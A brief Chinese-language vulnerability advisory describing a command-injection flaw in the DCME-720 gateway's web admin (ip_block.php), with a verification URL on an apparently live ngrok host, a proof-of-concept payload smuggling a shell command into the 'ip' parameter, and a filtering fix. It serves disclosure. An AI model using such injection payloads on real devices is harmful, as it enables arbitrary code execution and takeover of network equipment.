关键信息 漏洞概述 漏洞名称: DCME-720 日期: 2025/8/4 11:20:53 描述: DCME-720条状出口网关采用多核高性能处理器，结合专用ASIC交换芯片，针对大容量用户数、多流量、多业务种类的业务需求而推出的新一代高性能互联网出口网关。其web管理后台存在命令执行漏洞，攻击者可以利用该系列漏洞在设备上执行任意代码以及控制设备。 代码审计 文件位置: /usr/local/www/function/audit/newstatistics/ip_block.php 关键代码: 问题: 使用用户可控参数进行命令拼接，导致命令注入漏洞。 验证 URL: http://8363-218-19-14-194.ngrok-free.app/function/audit/newstatistics/ip_block.php Payload: ?action=save&switch=1&ip=echo%20123%20%3E%201.txt 结果: 成功创建并写入1.txt文件，内容为123。 修复建议 修改web后端php代码，对相关参数进行控制或过滤。